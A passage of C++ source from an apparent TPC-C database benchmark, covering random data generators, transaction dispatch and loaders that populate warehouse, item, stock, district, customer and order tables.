ALWAYS_ASSERT(partid < nthreads);
const unsigned int pinid = partid;
if (verbose)
cerr << "PinToWarehouseId(): coreid=" << coreid::core_id()
<< " pinned to whse=" << wid << " (partid=" << partid << ")"
<< endl;
rcu::s_instance.pin_current_thread(pinid);
rcu::s_instance.fault_region();
}
public:
static inline uint32_t
GetCurrentTimeMillis()
{
//struct timeval tv;
//ALWAYS_ASSERT(gettimeofday(&tv, 0) == 0);
//return tv.tv_sec * 1000;
// XXX(stephentu): implement a scalable GetCurrentTimeMillis()
// for now, we just give each core an increasing number
static __thread uint32_t tl_hack = 0;
return tl_hack++;
}
// utils for generating random #s and strings
static inline ALWAYS_INLINE int
CheckBetweenInclusive(int v, int lower, int upper)
{
INVARIANT(v >= lower);
INVARIANT(v <= upper);
return v;
}
static inline ALWAYS_INLINE int
RandomNumber(fast_random &r, int min, int max)
{
return CheckBetweenInclusive((int) (r.next_uniform() * (max - min + 1) + min), min, max);
}
static inline ALWAYS_INLINE int
NonUniformRandom(fast_random &r, int A, int C, int min, int max)
{
return (((RandomNumber(r, 0, A) | RandomNumber(r, min, max)) + C) % (max - min + 1)) + min;
}
static inline ALWAYS_INLINE int
GetItemId(fast_random &r)
{
return CheckBetweenInclusive(
g_uniform_item_dist ?
RandomNumber(r, 1, NumItems()) :
NonUniformRandom(r, 8191, 7911, 1, NumItems()),
1, NumItems());
}
static inline ALWAYS_INLINE int
GetCustomerId(fast_random &r)
{
return CheckBetweenInclusive(NonUniformRandom(r, 1023, 259, 1, NumCustomersPerDistrict()), 1, NumCustomersPerDistrict());
}
// pick a number between [start, end)
static inline ALWAYS_INLINE unsigned
PickWarehouseId(fast_random &r, unsigned start, unsigned end)
{
INVARIANT(start < end);
const unsigned diff = end - start;
if (diff == 1)
return start;
return (r.next() % diff) + start;
}
static string NameTokens[];
// all tokens are at most 5 chars long
static const size_t CustomerLastNameMaxSize = 5 * 3;
static inline size_t
GetCustomerLastName(uint8_t *buf, fast_random &r, int num)
{
const string &s0 = NameTokens[num / 100];
const string &s1 = NameTokens[(num / 10) % 10];
const string &s2 = NameTokens[num % 10];
uint8_t *const begin = buf;
const size_t s0_sz = s0.size();
const size_t s1_sz = s1.size();
const size_t s2_sz = s2.size();
NDB_MEMCPY(buf, s0.data(), s0_sz); buf += s0_sz;
NDB_MEMCPY(buf, s1.data(), s1_sz); buf += s1_sz;
NDB_MEMCPY(buf, s2.data(), s2_sz); buf += s2_sz;
return buf - begin;
}
static inline ALWAYS_INLINE size_t
GetCustomerLastName(char *buf, fast_random &r, int num)
{
return GetCustomerLastName((uint8_t *) buf, r, num);
}
static inline string
GetCustomerLastName(fast_random &r, int num)
{
string ret;
ret.resize(CustomerLastNameMaxSize);
ret.resize(GetCustomerLastName((uint8_t *) &ret[0], r, num));
return ret;
}
static inline ALWAYS_INLINE string
GetNonUniformCustomerLastNameLoad(fast_random &r)
{
return GetCustomerLastName(r, NonUniformRandom(r, 255, 157, 0, 999));
}
static inline ALWAYS_INLINE size_t
GetNonUniformCustomerLastNameRun(uint8_t *buf, fast_random &r)
{
return GetCustomerLastName(buf, r, NonUniformRandom(r, 255, 223, 0, 999));
}
static inline ALWAYS_INLINE size_t
GetNonUniformCustomerLastNameRun(char *buf, fast_random &r)
{
return GetNonUniformCustomerLastNameRun((uint8_t *) buf, r);
}
static inline ALWAYS_INLINE string
GetNonUniformCustomerLastNameRun(fast_random &r)
{
return GetCustomerLastName(r, NonUniformRandom(r, 255, 223, 0, 999));
}
static inline ALWAYS_INLINE bool
IsAbort(fast_random &r)
{
if(g_user_initial_abort_rate == 0)
return false;
return (r.next() % (100 / g_user_initial_abort_rate) == 0);
}
// following oltpbench, we really generate strings of len - 1...
static inline string
RandomStr(fast_random &r, uint len)
{
// this is a property of the oltpbench implementation...
if (!len)
return "";
uint i = 0;
string buf(len - 1, 0);
while (i < (len - 1)) {
const char c = (char) r.next_char();
// XXX(stephentu): oltpbench uses java's Character.isLetter(), which
// is a less restrictive filter than isalnum()
if (!isalnum(c))
continue;
buf[i++] = c;
}
return buf;
}
// RandomNStr() actually produces a string of length len
static inline string
RandomNStr(fast_random &r, uint len)
{
const char base = '0';
string buf(len, 0);
for (uint i = 0; i < len; i++)
buf[i] = (char)(base + (r.next() % 10));
return buf;
}
};
string tpcc_worker_mixin::NameTokens[] =
{
string("BAR"),
string("OUGHT"),
string("ABLE"),
string("PRI"),
string("PRES"),
string("ESE"),
string("ANTI"),
string("CALLY"),
string("ATION"),
string("EING"),
};
STATIC_COUNTER_DECL(scopedperf::tsc_ctr, tpcc_txn, tpcc_txn_cg)
class tpcc_worker : public bench_worker, public tpcc_worker_mixin {
public:
// resp for [warehouse_id_start, warehouse_id_end)
tpcc_worker(unsigned int worker_id,
unsigned long seed, abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions,
spin_barrier *barrier_a, spin_barrier *barrier_b,
uint warehouse_id_start, uint warehouse_id_end)
: bench_worker(worker_id, true, seed, db,
open_tables, barrier_a, barrier_b),
tpcc_worker_mixin(partitions),
warehouse_id_start(warehouse_id_start),
warehouse_id_end(warehouse_id_end)
{
INVARIANT(warehouse_id_start >= 1);
INVARIANT(warehouse_id_start <= NumWarehouses());
INVARIANT(warehouse_id_end > warehouse_id_start);
INVARIANT(warehouse_id_end <= (NumWarehouses() + 1));
// NDB_MEMSET(&last_no_o_ids[0], 0, sizeof(last_no_o_ids));
NDB_MEMSET(&local_last_no_o_ids[0][0], 0, sizeof(local_last_no_o_ids));
if (verbose) {
cerr << "tpcc: worker id " << worker_id
<< " => warehouses [" << warehouse_id_start
<< ", " << warehouse_id_end << ")"
<< endl;
}
obj_key0.reserve(str_arena::MinStrReserveLength);
obj_key1.reserve(str_arena::MinStrReserveLength);
obj_v.reserve(str_arena::MinStrReserveLength);
}
// XXX(stephentu): tune this
static const size_t NMaxCustomerIdxScanElems = 512;
txn_result txn_new_order();
static txn_result
TxnNewOrder(bench_worker *w)
{
ANON_REGION("TxnNewOrder:", &tpcc_txn_cg);
return static_cast<tpcc_worker *>(w)->txn_new_order();
}
txn_result txn_delivery();
static txn_result
TxnDelivery(bench_worker *w)
{
ANON_REGION("TxnDelivery:", &tpcc_txn_cg);
return static_cast<tpcc_worker *>(w)->txn_delivery();
}
txn_result txn_payment();
static txn_result
TxnPayment(bench_worker *w)
{
ANON_REGION("TxnPayment:", &tpcc_txn_cg);
return static_cast<tpcc_worker *>(w)->txn_payment();
}
txn_result txn_order_status();
static txn_result
TxnOrderStatus(bench_worker *w)
{
ANON_REGION("TxnOrderStatus:", &tpcc_txn_cg);
return static_cast<tpcc_worker *>(w)->txn_order_status();
}
txn_result txn_stock_level();
static txn_result
TxnStockLevel(bench_worker *w)
{
ANON_REGION("TxnStockLevel:", &tpcc_txn_cg);
return static_cast<tpcc_worker *>(w)->txn_stock_level();
}
virtual workload_desc_vec
get_workload() const
{
workload_desc_vec w;
// numbers from sigmod.csail.mit.edu:
//w.push_back(workload_desc("NewOrder", 1.0, TxnNewOrder)); // ~10k ops/sec
//w.push_back(workload_desc("Payment", 1.0, TxnPayment)); // ~32k ops/sec
//w.push_back(workload_desc("Delivery", 1.0, TxnDelivery)); // ~104k ops/sec
//w.push_back(workload_desc("OrderStatus", 1.0, TxnOrderStatus)); // ~33k ops/sec
//w.push_back(workload_desc("StockLevel", 1.0, TxnStockLevel)); // ~2k ops/sec
unsigned m = 0;
for (size_t i = 0; i < ARRAY_NELEMS(g_txn_workload_mix); i++)
m += g_txn_workload_mix[i];
ALWAYS_ASSERT(m == 100);
if (g_txn_workload_mix[0])
w.push_back(workload_desc("NewOrder", double(g_txn_workload_mix[0])/100.0, TxnNewOrder));
if (g_txn_workload_mix[1])
w.push_back(workload_desc("Payment", double(g_txn_workload_mix[1])/100.0, TxnPayment));
if (g_txn_workload_mix[2])
w.push_back(workload_desc("Delivery", double(g_txn_workload_mix[2])/100.0, TxnDelivery));
if (g_txn_workload_mix[3])
w.push_back(workload_desc("OrderStatus", double(g_txn_workload_mix[3])/100.0, TxnOrderStatus));
if (g_txn_workload_mix[4])
w.push_back(workload_desc("StockLevel", double(g_txn_workload_mix[4])/100.0, TxnStockLevel));
return w;
}
virtual void reset_workload(size_t nthreads, size_t idx) OVERRIDE {
if (NumWarehouses() <= nthreads) {
warehouse_id_start = (idx % NumWarehouses()) + 1;
warehouse_id_end = (idx % NumWarehouses()) + 2;
} else {
const unsigned nwhse_per_partition = NumWarehouses() / nthreads;
const unsigned wstart = idx * nwhse_per_partition;
const unsigned wend = (idx + 1 == nthreads) ?
NumWarehouses() : (idx + 1) * nwhse_per_partition;
warehouse_id_start = wstart + 1;
warehouse_id_end = wend + 1;
}
INVARIANT(warehouse_id_start >= 1);
INVARIANT(warehouse_id_start <= NumWarehouses());
INVARIANT(warehouse_id_end > warehouse_id_start);
INVARIANT(warehouse_id_end <= (NumWarehouses() + 1));
}
protected:
virtual void
on_run_setup() OVERRIDE
{
bind_thread(worker_id);
if (!pin_cpus)
return;
const size_t a = worker_id % coreid::num_cpus_online();
const size_t b = a % nthreads;
rcu::s_instance.pin_current_thread(b);
rcu::s_instance.fault_region();
}
inline ALWAYS_INLINE string &
str()
{
return *arena.next();
}
private:
uint warehouse_id_start;
uint warehouse_id_end;
// static int32_t last_no_o_ids[10]; // XXX(stephentu): hack
int32_t local_last_no_o_ids[64][10]; // XXX(stephentu): hack
bool retry = false;
int delivery_warehouse = 0;
// some scratch buffer space
string obj_key0;
string obj_key1;
string obj_v;
};
// int32_t tpcc_worker::last_no_o_ids[10];
union access_info {
uint32_t last_no_o_ids;
char padding[CACHELINE_SIZE];
access_info():last_no_o_ids(0){}
} CACHE_ALIGNED;
access_info dist_last_id[64][10];
class tpcc_warehouse_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_warehouse_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions)
{}
protected:
virtual void
load()
{
string obj_buf;
void *txn = db->new_txn(txn_flags, arena, txn_buf());
uint64_t warehouse_total_sz = 0, n_warehouses = 0;
try {
vector<warehouse::value> warehouses;
for (uint i = 1; i <= NumWarehouses(); i++) {
const warehouse::key k(i);
const string w_name = RandomStr(r, RandomNumber(r, 6, 10));
const string w_street_1 = RandomStr(r, RandomNumber(r, 10, 20));
const string w_street_2 = RandomStr(r, RandomNumber(r, 10, 20));
const string w_city = RandomStr(r, RandomNumber(r, 10, 20));
const string w_state = RandomStr(r, 3);
const string w_zip = "123456789";
warehouse::value v;
v.w_ytd = 300000;
v.w_tax = (float) RandomNumber(r, 0, 2000) / 10000.0;
v.w_name.assign(w_name);
v.w_street_1.assign(w_street_1);
v.w_street_2.assign(w_street_2);
v.w_city.assign(w_city);
v.w_state.assign(w_state);
v.w_zip.assign(w_zip);
checker::SanityCheckWarehouse(&k, &v);
const size_t sz = Size(v);
warehouse_total_sz += sz;
n_warehouses++;
tbl_warehouse(i)->insert(txn, Encode(k), Encode(obj_buf, v));
warehouses.push_back(v);
}
ALWAYS_ASSERT(db->commit_txn(txn));
arena.reset();
txn = db->new_txn(txn_flags, arena, txn_buf());
for (uint i = 1; i <= NumWarehouses(); i++) {
const warehouse::key k(i);
string warehouse_v;
ALWAYS_ASSERT(tbl_warehouse(i)->get(txn, Encode(k), warehouse_v));
warehouse::value warehouse_temp;
const warehouse::value *v = Decode(warehouse_v, warehouse_temp);
ALWAYS_ASSERT(warehouses[i - 1] == *v);
checker::SanityCheckWarehouse(&k, v);
}
ALWAYS_ASSERT(db->commit_txn(txn));
} catch (abstract_db::abstract_abort_exception &ex) {
// shouldn't abort on loading!
ALWAYS_ASSERT(false);
}
if (verbose) {
cerr << "[INFO] finished loading warehouse" << endl;
cerr << "[INFO] * average warehouse record length: "
<< (double(warehouse_total_sz)/double(n_warehouses)) << " bytes" << endl;
}
}
};
class tpcc_item_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_item_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions)
{}
protected:
virtual void
load()
{
string obj_buf;
const ssize_t bsize = db->txn_max_batch_size();
void *txn = db->new_txn(txn_flags, arena, txn_buf());
uint64_t total_sz = 0;
try {
for (uint i = 1; i <= NumItems(); i++) {
// items don't "belong" to a certain warehouse, so no pinning
const item::key k(i);
item::value v;
const string i_name = RandomStr(r, RandomNumber(r, 14, 24));
v.i_name.assign(i_name);
v.i_price = (float) RandomNumber(r, 100, 10000) / 100.0;
const int len = RandomNumber(r, 26, 50);
if (RandomNumber(r, 1, 100) > 10) {
const string i_data = RandomStr(r, len);
v.i_data.assign(i_data);
} else {
const int startOriginal = RandomNumber(r, 2, (len - 8));
const string i_data = RandomStr(r, startOriginal + 1) + "ORIGINAL" + RandomStr(r, len - startOriginal - 7);
v.i_data.assign(i_data);
}
v.i_im_id = RandomNumber(r, 1, 10000);
checker::SanityCheckItem(&k, &v);
const size_t sz = Size(v);
total_sz += sz;
tbl_item(1)->insert(txn, Encode(k), Encode(obj_buf, v)); // this table is shared, so any partition is OK
if (bsize != -1 && !(i % bsize)) {
ALWAYS_ASSERT(db->commit_txn(txn));
txn = db->new_txn(txn_flags, arena, txn_buf());
arena.reset();
}
}
ALWAYS_ASSERT(db->commit_txn(txn));
} catch (abstract_db::abstract_abort_exception &ex) {
// shouldn't abort on loading!
ALWAYS_ASSERT(false);
}
if (verbose) {
cerr << "[INFO] finished loading item" << endl;
cerr << "[INFO] * average item record length: "
<< (double(total_sz)/double(NumItems())) << " bytes" << endl;
}
}
};
class tpcc_stock_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_stock_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions,
ssize_t warehouse_id)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions),
warehouse_id(warehouse_id)
{
ALWAYS_ASSERT(warehouse_id == -1 ||
(warehouse_id >= 1 &&
static_cast<size_t>(warehouse_id) <= NumWarehouses()));
}
protected:
virtual void
load()
{
string obj_buf, obj_buf1;
uint64_t stock_total_sz = 0, n_stocks = 0;
const uint w_start = (warehouse_id == -1) ?
1 : static_cast<uint>(warehouse_id);
const uint w_end = (warehouse_id == -1) ?
NumWarehouses() : static_cast<uint>(warehouse_id);
for (uint w = w_start; w <= w_end; w++) {
const size_t batchsize =
(db->txn_max_batch_size() == -1) ? NumItems() : db->txn_max_batch_size();
const size_t nbatches = (batchsize > NumItems()) ? 1 : (NumItems() / batchsize);
// bind_thread(w);
if (pin_cpus)
PinToWarehouseId(w);
for (uint b = 0; b < nbatches;) {
scoped_str_arena s_arena(arena);
void * const txn = db->new_txn(txn_flags, arena, txn_buf());
try {
const size_t iend = std::min((b + 1) * batchsize, NumItems());
for (uint i = (b * batchsize + 1); i <= iend; i++) {
const stock::key k(w, i);
const stock_data::key k_data(w, i);
stock::value v;
v.s_quantity = RandomNumber(r, 10, 100);
v.s_ytd = 0;
v.s_order_cnt = 0;
v.s_remote_cnt = 0;
stock_data::value v_data;
const int len = RandomNumber(r, 26, 50);
if (RandomNumber(r, 1, 100) > 10) {
const string s_data = RandomStr(r, len);
v_data.s_data.assign(s_data);
} else {
const int startOriginal = RandomNumber(r, 2, (len - 8));
const string s_data = RandomStr(r, startOriginal + 1) + "ORIGINAL" + RandomStr(r, len - startOriginal - 7);
v_data.s_data.assign(s_data);
}
v_data.s_dist_01.assign(RandomStr(r, 24));
v_data.s_dist_02.assign(RandomStr(r, 24));
v_data.s_dist_03.assign(RandomStr(r, 24));
v_data.s_dist_04.assign(RandomStr(r, 24));
v_data.s_dist_05.assign(RandomStr(r, 24));
v_data.s_dist_06.assign(RandomStr(r, 24));
v_data.s_dist_07.assign(RandomStr(r, 24));
v_data.s_dist_08.assign(RandomStr(r, 24));
v_data.s_dist_09.assign(RandomStr(r, 24));
v_data.s_dist_10.assign(RandomStr(r, 24));
checker::SanityCheckStock(&k, &v);
const size_t sz = Size(v);
stock_total_sz += sz;
n_stocks++;
tbl_stock(w)->insert(txn, Encode(k), Encode(obj_buf, v));
tbl_stock_data(w)->insert(txn, Encode(k_data), Encode(obj_buf1, v_data));
}
if (db->commit_txn(txn)) {
b++;
} else {
db->abort_txn(txn);
if (verbose)
cerr << "[WARNING] stock loader loading abort" << endl;
}
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
ALWAYS_ASSERT(warehouse_id != -1);
if (verbose)
cerr << "[WARNING] stock loader loading abort" << endl;
}
}
}
if (verbose) {
if (warehouse_id == -1) {
cerr << "[INFO] finished loading stock" << endl;
cerr << "[INFO] * average stock record length: "
<< (double(stock_total_sz)/double(n_stocks)) << " bytes" << endl;
} else {
cerr << "[INFO] finished loading stock (w=" << warehouse_id << ")" << endl;
}
}
}
private:
ssize_t warehouse_id;
};
class tpcc_district_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_district_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions)
{}
protected:
virtual void
load()
{
string obj_buf;
const ssize_t bsize = db->txn_max_batch_size();
void *txn = db->new_txn(txn_flags, arena, txn_buf());
uint64_t district_total_sz = 0, n_districts = 0;
try {
uint cnt = 0;
for (uint w = 1; w <= NumWarehouses(); w++) {
// bind_thread(w);
if (pin_cpus)
PinToWarehouseId(w);
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++, cnt++) {
const district::key k(w, d);
district::value v;
v.d_ytd = 30000;
v.d_tax = (float) (RandomNumber(r, 0, 2000) / 10000.0);
v.d_next_o_id = 3001;
v.d_name.assign(RandomStr(r, RandomNumber(r, 6, 10)));
v.d_street_1.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.d_street_2.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.d_city.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.d_state.assign(RandomStr(r, 3));
v.d_zip.assign("123456789");
checker::SanityCheckDistrict(&k, &v);
const size_t sz = Size(v);
district_total_sz += sz;
n_districts++;
tbl_district(w)->insert(txn, Encode(k), Encode(obj_buf, v));
if (bsize != -1 && !((cnt + 1) % bsize)) {
ALWAYS_ASSERT(db->commit_txn(txn));
txn = db->new_txn(txn_flags, arena, txn_buf());
arena.reset();
}
}
}
ALWAYS_ASSERT(db->commit_txn(txn));
} catch (abstract_db::abstract_abort_exception &ex) {
// shouldn't abort on loading!
ALWAYS_ASSERT(false);
}
if (verbose) {
cerr << "[INFO] finished loading district" << endl;
cerr << "[INFO] * average district record length: "
<< (double(district_total_sz)/double(n_districts)) << " bytes" << endl;
}
}
};
class tpcc_customer_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_customer_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions,
ssize_t warehouse_id)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions),
warehouse_id(warehouse_id)
{
ALWAYS_ASSERT(warehouse_id == -1 ||
(warehouse_id >= 1 &&
static_cast<size_t>(warehouse_id) <= NumWarehouses()));
}
protected:
virtual void
load()
{
string obj_buf;
const uint w_start = (warehouse_id == -1) ?
1 : static_cast<uint>(warehouse_id);
const uint w_end = (warehouse_id == -1) ?
NumWarehouses() : static_cast<uint>(warehouse_id);
const size_t batchsize =
(db->txn_max_batch_size() == -1) ?
NumCustomersPerDistrict() : db->txn_max_batch_size();
const size_t nbatches =
(batchsize > NumCustomersPerDistrict()) ?
1 : (NumCustomersPerDistrict() / batchsize);
// cerr << "num batches: " << nbatches << endl;
uint64_t total_sz = 0;
for (uint w = w_start; w <= w_end; w++) {
// bind_thread(w);
if (pin_cpus)
PinToWarehouseId(w);
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
for (uint batch = 0; batch < nbatches;) {
scoped_str_arena s_arena(arena);
void * const txn = db->new_txn(txn_flags, arena, txn_buf());
const size_t cstart = batch * batchsize;
const size_t cend = std::min((batch + 1) * batchsize, NumCustomersPerDistrict());
try {
for (uint cidx0 = cstart; cidx0 < cend; cidx0++) {
const uint c = cidx0 + 1;
const customer::key k(w, d, c);
customer::value v;
v.c_discount = (float) (RandomNumber(r, 1, 5000) / 10000.0);
if (RandomNumber(r, 1, 100) <= 10)
v.c_credit.assign("BC");
else
v.c_credit.assign("GC");
if (c <= 1000)
v.c_last.assign(GetCustomerLastName(r, c - 1));
else
v.c_last.assign(GetNonUniformCustomerLastNameLoad(r));
v.c_first.assign(RandomStr(r, RandomNumber(r, 8, 16)));
v.c_credit_lim = 50000;
v.c_balance = -10;
v.c_ytd_payment = 10;
v.c_payment_cnt = 1;
v.c_delivery_cnt = 0;
v.c_street_1.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.c_street_2.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.c_city.assign(RandomStr(r, RandomNumber(r, 10, 20)));
v.c_state.assign(RandomStr(r, 3));
v.c_zip.assign(RandomNStr(r, 4) + "11111");
v.c_phone.assign(RandomNStr(r, 16));
v.c_since = GetCurrentTimeMillis();
v.c_middle.assign("OE");
v.c_data.assign(RandomStr(r, RandomNumber(r, 300, 500)));
checker::SanityCheckCustomer(&k, &v);
const size_t sz = Size(v);
total_sz += sz;
tbl_customer(w)->insert(txn, Encode(k), Encode(obj_buf, v));
// customer name index
const customer_name_idx::key k_idx(k.c_w_id, k.c_d_id, v.c_last.str(true), v.c_first.str(true));
const customer_name_idx::value v_idx(k.c_id);
// index structure is:
// (c_w_id, c_d_id, c_last, c_first) -> (c_id)
tbl_customer_name_idx(w)->insert(txn, Encode(k_idx), Encode(obj_buf, v_idx));
history::key k_hist;
k_hist.h_c_id = c;
k_hist.h_c_d_id = d;
k_hist.h_c_w_id = w;
k_hist.h_d_id = d;
k_hist.h_w_id = w;
k_hist.h_date = GetCurrentTimeMillis();
history::value v_hist;
v_hist.h_amount = 10;
v_hist.h_data.assign(RandomStr(r, RandomNumber(r, 10, 24)));
tbl_history(w)->insert(txn, Encode(k_hist), Encode(obj_buf, v_hist));
}
if (db->commit_txn(txn)) {
batch++;
} else {
db->abort_txn(txn);
if (verbose)
cerr << "[WARNING] customer loader loading abort" << endl;
}
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
if (verbose)
cerr << "[WARNING] customer loader loading abort" << endl;
}
}
}
}
if (verbose) {
if (warehouse_id == -1) {
cerr << "[INFO] finished loading customer" << endl;
cerr << "[INFO] * average customer record length: "
<< (double(total_sz)/double(NumWarehouses()*NumDistrictsPerWarehouse()*NumCustomersPerDistrict()))
<< " bytes " << endl;
} else {
cerr << "[INFO] finished loading customer (w=" << warehouse_id << ")" << endl;
}
}
}
private:
ssize_t warehouse_id;
};
class tpcc_order_loader : public bench_loader, public tpcc_worker_mixin {
public:
tpcc_order_loader(unsigned long seed,
abstract_db *db,
const map<string, abstract_ordered_index *> &open_tables,
const map<string, vector<abstract_ordered_index *>> &partitions,
ssize_t warehouse_id)
: bench_loader(seed, db, open_tables),
tpcc_worker_mixin(partitions),
warehouse_id(warehouse_id)
{
ALWAYS_ASSERT(warehouse_id == -1 ||
(warehouse_id >= 1 &&
static_cast<size_t>(warehouse_id) <= NumWarehouses()));
}
protected:
virtual void
load()
{
string obj_buf;
uint64_t order_line_total_sz = 0, n_order_lines = 0;
uint64_t oorder_total_sz = 0, n_oorders = 0;
uint64_t new_order_total_sz = 0, n_new_orders = 0;
const uint w_start = (warehouse_id == -1) ?
1 : static_cast<uint>(warehouse_id);
const uint w_end = (warehouse_id == -1) ?
NumWarehouses() : static_cast<uint>(warehouse_id);
for (uint w = w_start; w <= w_end; w++) {
// bind_thread(w);
if (pin_cpus)
PinToWarehouseId(w);
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
set<uint> c_ids_s;
vector<uint> c_ids;
while (c_ids.size() != NumCustomersPerDistrict()) {
const auto x = (r.next() % NumCustomersPerDistrict()) + 1;
if (c_ids_s.count(x))
continue;
c_ids_s.insert(x);
c_ids.emplace_back(x);
}
for (uint c = 1; c <= NumCustomersPerDistrict();) {
scoped_str_arena s_arena(arena);
void * const txn = db->new_txn(txn_flags, arena, txn_buf());
try {
const oorder::key k_oo(w, d, c);
oorder::value v_oo;
v_oo.o_c_id = c_ids[c - 1];
if (k_oo.o_id < 2101)
v_oo.o_carrier_id = RandomNumber(r, 1, 10);
else
v_oo.o_carrier_id = 0;
v_oo.o_ol_cnt = RandomNumber(r, 5, 15);
v_oo.o_all_local = 1;
v_oo.o_entry_d = GetCurrentTimeMillis();
checker::SanityCheckOOrder(&k_oo, &v_oo);
const size_t sz = Size(v_oo);
oorder_total_sz += sz;
n_oorders++;
tbl_oorder(w)->insert(txn, Encode(k_oo), Encode(obj_buf, v_oo));
const oorder_c_id_idx::key k_oo_idx(k_oo.o_w_id, k_oo.o_d_id, v_oo.o_c_id, k_oo.o_id);
const oorder_c_id_idx::value v_oo_idx(0);
tbl_oorder_c_id_idx(w)->insert(txn, Encode(k_oo_idx), Encode(obj_buf, v_oo_idx));
if (c >= 2101) {
const new_order::key k_no(w, d, c);
const new_order::value v_no;
checker::SanityCheckNewOrder(&k_no, &v_no);
const size_t sz = Size(v_no);
new_order_total_sz += sz;
n_new_orders++;
tbl_new_order(w)->insert(txn, Encode(k_no), Encode(obj_buf, v_no));
}
for (uint l = 1; l <= uint(v_oo.o_ol_cnt); l++) {
const order_line::key k_ol(w, d, c, l);
order_line::value v_ol;
v_ol.ol_i_id = RandomNumber(r, 1, 100000);
if (k_ol.ol_o_id < 2101) {
// FIX - v_oo.o_entry_d can be 0 sometimes which breaks the consistency
v_ol.ol_delivery_d = v_oo.o_entry_d == 0 ? ++v_oo.o_entry_d : v_oo.o_entry_d;
// v_ol.ol_delivery_d = v_oo.o_entry_d;
v_ol.ol_amount = 0;
} else {
v_ol.ol_delivery_d = 0;
// random within [0.01 .. 9,999.99]
v_ol.ol_amount = (float) (RandomNumber(r, 1, 999999) / 100.0);
}
v_ol.ol_supply_w_id = k_ol.ol_w_id;
v_ol.ol_quantity = 5;
// v_ol.ol_dist_info comes from stock_data(ol_supply_w_id, ol_o_id)
//v_ol.ol_dist_info = RandomStr(r, 24);
checker::SanityCheckOrderLine(&k_ol, &v_ol);
const size_t sz = Size(v_ol);
order_line_total_sz += sz;
n_order_lines++;
tbl_order_line(w)->insert(txn, Encode(k_ol), Encode(obj_buf, v_ol));
}
if (db->commit_txn(txn)) {
c++;
} else {
db->abort_txn(txn);
ALWAYS_ASSERT(warehouse_id != -1);
if (verbose)
cerr << "[WARNING] order loader loading abort" << endl;
}
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
ALWAYS_ASSERT(warehouse_id != -1);
if (verbose)
cerr << "[WARNING] order loader loading abort" << endl;
}
}
}
}
if (verbose) {
if (warehouse_id == -1) {
cerr << "[INFO] finished loading order" << endl;
cerr << "[INFO] * average order_line record length: "
<< (double(order_line_total_sz)/double(n_order_lines)) << " bytes" << endl;
cerr << "[INFO] * average oorder record length: "
<< (double(oorder_total_sz)/double(n_oorders)) << " bytes" << endl;
cerr << "[INFO] * average new_order record length: "
<< (double(new_order_total_sz)/double(n_new_orders)) << " bytes" << endl;
} else {
cerr << "[INFO] finished loading order (w=" << warehouse_id << ")" << endl;
}
}
}
private:
ssize_t warehouse_id;
};
static event_counter evt_tpcc_cross_partition_new_order_txns("tpcc_cross_partition_new_order_txns");
static event_counter evt_tpcc_cross_partition_payment_txns("tpcc_cross_partition_payment_txns");
#ifdef STOCK_PROF
std::atomic<uint64_t> neworder_time;
std::atomic<uint64_t> stock_time;
std::atomic<uint64_t> stock_beg;
std::atomic<uint64_t> stock_get;
std::atomic<uint64_t> stock_put;
std::atomic<uint64_t> stock_end;
std::atomic<uint64_t> stock_retry;
std::atomic<uint32_t> stock_succ;
std::atomic<uint32_t> stock_abort;
#endif
class new_order_district_update_callback : public update_callback {
public:
new_order_district_update_callback(std::string &retrieved_value, std::string &new_value, const district::key *k_d)
: update_callback(retrieved_value, new_value), k_d(k_d), my_next_o_id(0) {}
virtual void *invoke() {
district::value v_d_temp;
const district::value *v_d = Decode(retrieved_value, v_d_temp);
checker::SanityCheckDistrict(k_d, v_d);
district::value v_d_new(*v_d);
my_next_o_id = v_d_new.d_next_o_id++;
return reinterpret_cast<void *>(&Encode(new_value, v_d_new));
}
uint64_t get_my_next_o_id() const {
return my_next_o_id;
}
private:
const district::key *k_d;
uint64_t my_next_o_id;
};
class new_order_stock_update_callback : public update_callback {
public:
new_order_stock_update_callback(std::string &retrieved_value, std::string &new_value,
const stock::key *k_s, const uint ol_supply_w_id,
const uint ol_i_id, const uint ol_quantity, const uint w_id)
: update_callback(retrieved_value, new_value), k_s(k_s),
ol_supply_w_id(ol_supply_w_id), ol_i_id(ol_i_id),
ol_quantity(ol_quantity), w_id(w_id) {}
virtual void *invoke() {
stock::value v_s_temp;
const stock::value *v_s = Decode(retrieved_value, v_s_temp);
checker::SanityCheckStock(k_s, v_s);
stock::value v_s_new(*v_s);
if (v_s_new.s_quantity - ol_quantity >= 10)
v_s_new.s_quantity -= ol_quantity;
else
v_s_new.s_quantity += -int32_t(ol_quantity) + 91;
v_s_new.s_ytd += ol_quantity;
